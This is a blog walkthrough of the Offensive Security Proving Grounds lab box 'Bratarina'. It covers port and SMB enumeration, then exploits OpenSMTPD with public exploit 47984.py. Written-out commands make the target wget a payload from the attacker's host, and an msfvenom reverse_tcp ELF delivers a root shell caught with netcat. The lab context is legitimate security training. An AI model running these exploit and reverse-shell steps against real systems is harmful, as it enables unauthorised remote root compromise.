Offensive Security – Proving Grounds – Bratarina Write-up – No Metasploit

https://filmationghostbusters.fandom.com/wiki/Bratarina

Offensive security has recently released a new platform for testing your technical skills called the Proving Grounds. This service comes shortly after Offensive Security acquired VulnHub. Within the proving grounds you have a choice to hack the “Play” machines for free, or pay the monthly subscription to get access to offensive security created machines. I will be going through an easy rated machine located in the “Practice” or subscription section of the site.

Reconnaissance

To start I will be doing nmap enabling all scripts, enumerating versions, and outputting all formats named “simple”.

kali@kali:~/offsec/bratarina$ nmap -sC -sV -oA simple 192.168.206.71
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-15 19:08 EDT
Nmap scan report for 192.168.206.71
Host is up (0.060s latency).
Not shown: 995 filtered ports
PORT    STATE  SERVICE     VERSION
22/tcp  open   ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:dd:2c:ea:2f:85:c5:89:bc:fc:e9:a3:38:f0:d7:50 (RSA)
|   256 e3:b7:65:c2:a7:8e:45:29:bb:62:ec:30:1a:eb:ed:6d (ECDSA)
|_  256 d5:5b:79:5b:ce:48:d8:57:46:db:59:4f:cd:45:5d:ef (ED25519)
25/tcp  open   smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp  closed domain
80/tcp  open   http        nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB        
445/tcp open   netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Service Info: Host: BRATARINA; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: bratarina
|   NetBIOS computer name: BRATARINA\x00
|   Domain name: \x00
|   FQDN: bratarina
|_  System time: 2020-09-15T19:11:18-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-15T23:11:19
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.34 seconds

Here we see a share to check out. Lets kick off enum4linux.

kali@kali:~$ sudo enum4linux 192.168.206.71
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 15 19:36:03 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 192.168.206.71
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
---------SNIP----------
 =========================================== 
|    Share Enumeration on 192.168.206.71    |
 =========================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

        Sharename       Type      Comment
        ---------       ----      -------
        backups         Disk      Share for backups
        IPC$            IPC       IPC Service (Samba 4.7.6-Ubuntu)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.206.71
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//192.168.206.71/backups        Mapping: OK, Listing: OK
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//192.168.206.71/IPC$   [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
---------SNIP----------

The backups share seems to be available.

kali@kali:~$ smbclient //MOUNT/backups -I 192.168.206.71 -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jul  6 03:46:41 2020
  ..                                  D        0  Mon Jul  6 03:46:41 2020
  passwd.bak                          N     1747  Mon Jul  6 03:46:41 2020

                10253588 blocks of size 1024. 6363480 blocks available
smb: \> cat passwd.bak
cat: command not found
smb: \> get passwd.bak
getting file \passwd.bak of size 1747 as passwd.bak (6.8 KiloBytes/sec) (average 6.8 KiloBytes/sec)
smb: \>

Anonymous login successful. Pull down the passwd.bak file and lets take a look.

kali@kali:~/offsec/bratarina$ cat passwd.bak
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
neil:x:1000:1000:neil,,,:/home/neil:/bin/bash
_smtpd:x:1001:1001:SMTP Daemon:/var/empty:/sbin/nologin
_smtpq:x:1002:1002:SMTPD Queue:/var/empty:/sbin/nologin
postgres:x:111:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

Okay we have an possible /etc/passwd backup for the machine. I enumerate a bit further using rpcclient.

kali@kali:~/offsec/bratarina$ rpcclient -U "" 192.168.91.71
Enter WORKGROUP\'s password: 
rpcclient $> enumprivs
found 9 privileges

SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SePrintOperatorPrivilege                0:4097 (0x0:0x1001)
SeAddUsersPrivilege             0:4098 (0x0:0x1002)
SeDiskOperatorPrivilege                 0:4099 (0x0:0x1003)
SeSecurityPrivilege             0:8 (0x0:0x8)
rpcclient $> lookupnames neil
neil S-1-22-1-1000 (User: 1)
rpcclient $> lookupsids S-1-22-1-1000
S-1-22-1-1000 Unix User\neil (1)

Dead end. Looking back lets check out smtpd a bit more. Kicking off a nmap targeting smtp scripts specifically.

kali@kali:~/offsec/bratarina$ nmap --script smtp-commands.nse -pT:25 192.168.206.71
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 21:06 EDT
Nmap scan report for 192.168.206.71
Host is up (0.069s latency).

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-commands: bratarina Hello nmap.scanme.org [192.168.49.206], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP, 
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info 

Nmap done: 1 IP address (1 host up) scanned in 2.38 seconds

Weaponization and Delivery

Here we see a possible vulnerabie version of OpenSMTPD. Check searchsploit for exploits targeting this version.

kali@kali:~/offsec/bratarina$ searchsploit smtpd
------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
Mercury/32 Mail SMTPD - AUTH CRAM-MD5 Buffer Overflow (Metasploit) | windows/remote/16821.rb
Mercury/32 Mail SMTPD - Remote Stack Overrun (PoC)                 | windows/dos/4294.pl
Mercury/32 Mail SMTPD 4.51 - SMTPD CRAM-MD5 Remote Overflow        | windows/remote/4301.cpp
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)           | linux/remote/48038.rb
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)       | linux/local/48185.rb
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code | openbsd/remote/48051.pl
OpenSMTPD 6.6.2 - Remote Code Execution                            | linux/remote/47984.py
OpenSMTPD 6.6.3 - Arbitrary File Read                              | linux/remote/48139.c
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Exe | openbsd/remote/48140.c
------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Here we see a possible Remote Code Execution exploit “47984.py”.

kali@kali:~/offsec/bratarina$ python3 47984.py 
Usage 47984.py <target ip> <target port> <command>
E.g. 47984.py 127.0.0.1 25 'touch /tmp/x'

Looks quite simple to use. Lets test something that will let us know its working. I think the easiest would be starting a simple HTTP server and try to pull a file from my machine.

kali@kali:~/offsec/bratarina$ python3 47984.py 192.168.206.71 25 'wget 192.168.49.206/trenches.txt'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Exploit executed without any issues.

kali@kali:~/offsec/bratarina$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.206.71 - - [21/Sep/2020 21:20:12] "GET /trenches.txt HTTP/1.1" 200 -

Nice, we also get a connection back.

Foothold

So now lets craft a useful payload that will hopefully give us a shell.

kali@kali:~/offsec/bratarina$ msfvenom -a x64 --platform Linux -p linux/x64/shell/reverse_tcp LHOST=192.168.49.206 LPORT=445 -f elf > trenches
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes

Pull the payload down and save to the /tmp folder.

kali@kali:~/offsec/bratarina$ python3 47984.py 192.168.206.71 25 'wget 192.168.49.206/trenches /tmp/trenches'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Add execute permissions to the payload.

kali@kali:~/offsec/bratarina$ python3 47984.py 192.168.206.71 25 'chmod +x /tmp/trenches'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Execute the payload.

kali@kali:~/offsec/bratarina$ python3 47984.py 192.168.206.71 25 '/tmp/trenches'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Start listening on netcat on port 445.

kali@kali:~/offsec/bratarina$ sudo nc -lvnp 445
listening on [any] 445 ...
connect to [192.168.49.206] from (UNKNOWN) [192.168.206.71] 43144
ls
proof.txt
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat "proof.txt"
9c6e****SNIP****18f7

Perfect. Connection established with root permissions.

Conclusion

Other than the SMB rabbit hole, this box was straight forward. The proving grounds offered by offensive security is starting off well. Oh, patch your services, and until next time stay safe in the Trenches of IT!

Leave a Reply